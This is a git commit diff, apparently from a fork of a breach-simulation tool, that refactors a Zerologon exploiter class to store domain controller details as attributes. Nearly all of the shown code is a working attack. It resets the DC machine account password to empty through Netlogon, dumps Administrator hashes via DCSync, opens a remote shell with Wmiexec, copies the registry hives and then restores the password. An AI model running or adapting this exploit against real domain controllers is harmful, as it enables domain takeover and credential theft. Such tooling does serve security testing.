forked from p15670423/monkey
Make DC details object attributes
This commit is contained in:
parent
a908d31fc5
commit
961d5f81f8
|
@ -97,13 +97,13 @@ class ZerologonExploiter(HostExploiter):
|
||||||
self.exploit_info['credentials'] = {}
|
self.exploit_info['credentials'] = {}
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details(self.host)
|
self.DC_IP, self.DC_NAME, self.DC_HANDLE = self.zerologon_finger.get_dc_details(self.host)
|
||||||
|
|
||||||
if self.is_exploitable():
|
if self.is_exploitable():
|
||||||
LOG.info("Target vulnerable, changing account password to empty string.")
|
LOG.info("Target vulnerable, changing account password to empty string.")
|
||||||
|
|
||||||
# Connect to the DC's Netlogon service.
|
# Connect to the DC's Netlogon service.
|
||||||
rpc_con = self.connect_to_dc(DC_IP)
|
rpc_con = self.connect_to_dc()
|
||||||
|
|
||||||
# Start exploiting attempts.
|
# Start exploiting attempts.
|
||||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||||
|
@ -111,7 +111,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
result = None
|
result = None
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
try:
|
try:
|
||||||
result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
|
result = self.attempt_exploit(rpc_con)
|
||||||
except nrpc.DCERPCSessionError as e:
|
except nrpc.DCERPCSessionError as e:
|
||||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||||
# Otherwise, the attack is probably not working.
|
# Otherwise, the attack is probably not working.
|
||||||
|
@ -124,11 +124,11 @@ class ZerologonExploiter(HostExploiter):
|
||||||
break
|
break
|
||||||
|
|
||||||
self.report_login_attempt(result=False,
|
self.report_login_attempt(result=False,
|
||||||
user=DC_NAME)
|
user=self.DC_NAME)
|
||||||
|
|
||||||
if result['ErrorCode'] == 0:
|
if result['ErrorCode'] == 0:
|
||||||
self.report_login_attempt(result=True,
|
self.report_login_attempt(result=True,
|
||||||
user=DC_NAME)
|
user=self.DC_NAME)
|
||||||
LOG.info("Exploit complete!")
|
LOG.info("Exploit complete!")
|
||||||
else:
|
else:
|
||||||
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
|
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
|
||||||
|
@ -141,7 +141,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
# Restore DC's original password.
|
# Restore DC's original password.
|
||||||
if _exploited:
|
if _exploited:
|
||||||
if self.restore_password(DC_HANDLE, DC_IP, DC_NAME):
|
if self.restore_password():
|
||||||
LOG.info("System exploited and password restored successfully.")
|
LOG.info("System exploited and password restored successfully.")
|
||||||
else:
|
else:
|
||||||
LOG.info("System exploited but couldn't restore password!")
|
LOG.info("System exploited but couldn't restore password!")
|
||||||
|
@ -153,46 +153,46 @@ class ZerologonExploiter(HostExploiter):
|
||||||
def is_exploitable(self):
|
def is_exploitable(self):
|
||||||
return self.zerologon_finger.get_host_fingerprint(self.host)
|
return self.zerologon_finger.get_host_fingerprint(self.host)
|
||||||
|
|
||||||
def connect_to_dc(self, DC_IP):
|
def connect_to_dc(self):
|
||||||
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
binding = epm.hept_map(self.DC_IP, nrpc.MSRPC_UUID_NRPC,
|
||||||
protocol='ncacn_ip_tcp')
|
protocol='ncacn_ip_tcp')
|
||||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||||
rpc_con.connect()
|
rpc_con.connect()
|
||||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||||
return rpc_con
|
return rpc_con
|
||||||
|
|
||||||
def attempt_exploit(self, DC_HANDLE, rpc_con, DC_NAME):
|
def attempt_exploit(self, rpc_con):
|
||||||
request = nrpc.NetrServerPasswordSet2()
|
request = nrpc.NetrServerPasswordSet2()
|
||||||
request['PrimaryName'] = DC_HANDLE + '\x00'
|
request['PrimaryName'] = self.DC_HANDLE + '\x00'
|
||||||
request['AccountName'] = DC_NAME + '$\x00'
|
request['AccountName'] = self.DC_NAME + '$\x00'
|
||||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||||
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||||
authenticator['Credential'] = b'\x00' * 8
|
authenticator['Credential'] = b'\x00' * 8
|
||||||
authenticator['Timestamp'] = 0
|
authenticator['Timestamp'] = 0
|
||||||
request['Authenticator'] = authenticator
|
request['Authenticator'] = authenticator
|
||||||
request['ComputerName'] = DC_NAME + '\x00'
|
request['ComputerName'] = self.DC_NAME + '\x00'
|
||||||
request['ClearNewPassword'] = b'\x00' * 516
|
request['ClearNewPassword'] = b'\x00' * 516
|
||||||
return rpc_con.request(request)
|
return rpc_con.request(request)
|
||||||
|
|
||||||
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME):
|
def restore_password(self):
|
||||||
LOG.info("Restoring original password...")
|
LOG.info("Restoring original password...")
|
||||||
|
|
||||||
LOG.debug("DCSync; getting admin password's hashes.")
|
LOG.debug("DCSync; getting admin password's hashes.")
|
||||||
admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP)
|
admin_pwd_hashes = self.get_admin_pwd_hashes()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if not admin_pwd_hashes:
|
if not admin_pwd_hashes:
|
||||||
raise Exception("Couldn't extract admin password's hashes.")
|
raise Exception("Couldn't extract admin password's hashes.")
|
||||||
|
|
||||||
LOG.debug("Getting original DC password's nthash.")
|
LOG.debug("Getting original DC password's nthash.")
|
||||||
original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes)
|
original_pwd_nthash = self.get_original_pwd_nthash(admin_pwd_hashes)
|
||||||
if not original_pwd_nthash:
|
if not original_pwd_nthash:
|
||||||
raise Exception("Couldn't extract original DC password's nthash.")
|
raise Exception("Couldn't extract original DC password's nthash.")
|
||||||
|
|
||||||
# Keep authenticating until successful.
|
# Keep authenticating until successful.
|
||||||
LOG.debug("Attempting password restoration.")
|
LOG.debug("Attempting password restoration.")
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
|
rpc_con = self.attempt_restoration(original_pwd_nthash)
|
||||||
if rpc_con is not None:
|
if rpc_con is not None:
|
||||||
break
|
break
|
||||||
|
|
||||||
|
@ -205,15 +205,15 @@ class ZerologonExploiter(HostExploiter):
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error(e)
|
LOG.error(e)
|
||||||
|
|
||||||
def get_admin_pwd_hashes(self, DC_NAME, DC_IP):
|
def get_admin_pwd_hashes(self):
|
||||||
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
||||||
options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
options['target'] = '$@'.join([self.DC_NAME, self.DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||||
options['target_ip'] = DC_IP
|
options['target_ip'] = self.DC_IP
|
||||||
options['dc_ip'] = DC_IP
|
options['dc_ip'] = self.DC_IP
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(options=options,
|
dumped_secrets = self.get_dumped_secrets(options=options,
|
||||||
remote_name=DC_IP,
|
remote_name=self.DC_IP,
|
||||||
username=f"{DC_NAME}$")
|
username=f"{self.DC_NAME}$")
|
||||||
user = 'Administrator'
|
user = 'Administrator'
|
||||||
for secret in dumped_secrets:
|
for secret in dumped_secrets:
|
||||||
if user in secret:
|
if user in secret:
|
||||||
|
@ -242,14 +242,14 @@ class ZerologonExploiter(HostExploiter):
|
||||||
if nthash not in self._config.exploit_ntlm_hash_list:
|
if nthash not in self._config.exploit_ntlm_hash_list:
|
||||||
self._config.exploit_ntlm_hash_list.append(nthash)
|
self._config.exploit_ntlm_hash_list.append(nthash)
|
||||||
|
|
||||||
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes):
|
def get_original_pwd_nthash(self, admin_pwd_hashes):
|
||||||
if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes):
|
if not self.save_HKLM_keys_locally(admin_pwd_hashes):
|
||||||
return
|
return
|
||||||
|
|
||||||
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
||||||
for name in ['system', 'sam', 'security']:
|
for name in ['system', 'sam', 'security']:
|
||||||
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
||||||
options['dc_ip'] = DC_IP
|
options['dc_ip'] = self.DC_IP
|
||||||
options['just_dc'] = False
|
options['just_dc'] = False
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(options=options,
|
dumped_secrets = self.get_dumped_secrets(options=options,
|
||||||
|
@ -264,13 +264,13 @@ class ZerologonExploiter(HostExploiter):
|
||||||
dumped_secrets = dumper.dump().split('\n')
|
dumped_secrets = dumper.dump().split('\n')
|
||||||
return dumped_secrets
|
return dumped_secrets
|
||||||
|
|
||||||
def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes):
|
def save_HKLM_keys_locally(self, admin_pwd_hashes):
|
||||||
LOG.debug("Starting remote shell on victim.")
|
LOG.debug("Starting remote shell on victim.")
|
||||||
|
|
||||||
wmiexec = Wmiexec(ip=DC_IP,
|
wmiexec = Wmiexec(ip=self.DC_IP,
|
||||||
username='Administrator',
|
username='Administrator',
|
||||||
hashes=admin_pwd_hashes,
|
hashes=admin_pwd_hashes,
|
||||||
domain=DC_IP)
|
domain=self.DC_IP)
|
||||||
|
|
||||||
remote_shell = wmiexec.get_remote_shell()
|
remote_shell = wmiexec.get_remote_shell()
|
||||||
if remote_shell:
|
if remote_shell:
|
||||||
|
@ -299,24 +299,24 @@ class ZerologonExploiter(HostExploiter):
|
||||||
else:
|
else:
|
||||||
raise Exception("Could not start remote shell on DC.")
|
raise Exception("Could not start remote shell on DC.")
|
||||||
|
|
||||||
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
|
def attempt_restoration(self, original_pwd_nthash):
|
||||||
# Connect to the DC's Netlogon service.
|
# Connect to the DC's Netlogon service.
|
||||||
rpc_con = self.connect_to_dc(DC_IP)
|
rpc_con = self.connect_to_dc()
|
||||||
|
|
||||||
plaintext = b'\x00'*8
|
plaintext = b'\x00'*8
|
||||||
ciphertext = b'\x00'*8
|
ciphertext = b'\x00'*8
|
||||||
flags = 0x212fffff
|
flags = 0x212fffff
|
||||||
|
|
||||||
# Send challenge and authentication request.
|
# Send challenge and authentication request.
|
||||||
server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, DC_HANDLE + '\x00',
|
server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.DC_HANDLE + '\x00',
|
||||||
DC_NAME + '\x00', plaintext)
|
self.DC_NAME + '\x00', plaintext)
|
||||||
server_challenge = server_challenge_response['ServerChallenge']
|
server_challenge = server_challenge_response['ServerChallenge']
|
||||||
|
|
||||||
try:
|
try:
|
||||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||||
rpc_con, DC_HANDLE + '\x00', DC_NAME + '$\x00',
|
rpc_con, self.DC_HANDLE + '\x00', self.DC_NAME + '$\x00',
|
||||||
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||||
DC_NAME + '\x00', ciphertext, flags
|
self.DC_NAME + '\x00', ciphertext, flags
|
||||||
)
|
)
|
||||||
|
|
||||||
# It worked!
|
# It worked!
|
||||||
|
@ -335,9 +335,9 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
request = NetrServerPasswordSet()
|
request = NetrServerPasswordSet()
|
||||||
request['PrimaryName'] = NULL
|
request['PrimaryName'] = NULL
|
||||||
request['AccountName'] = DC_NAME + '$\x00'
|
request['AccountName'] = self.DC_NAME + '$\x00'
|
||||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||||
request['ComputerName'] = DC_NAME + '\x00'
|
request['ComputerName'] = self.DC_NAME + '\x00'
|
||||||
request["Authenticator"] = authenticator
|
request["Authenticator"] = authenticator
|
||||||
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key)
|
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key)
|
||||||
request["UasNewPassword"] = pwd_data
|
request["UasNewPassword"] = pwd_data
|
||||||
|
|
Loading…
Reference in New Issue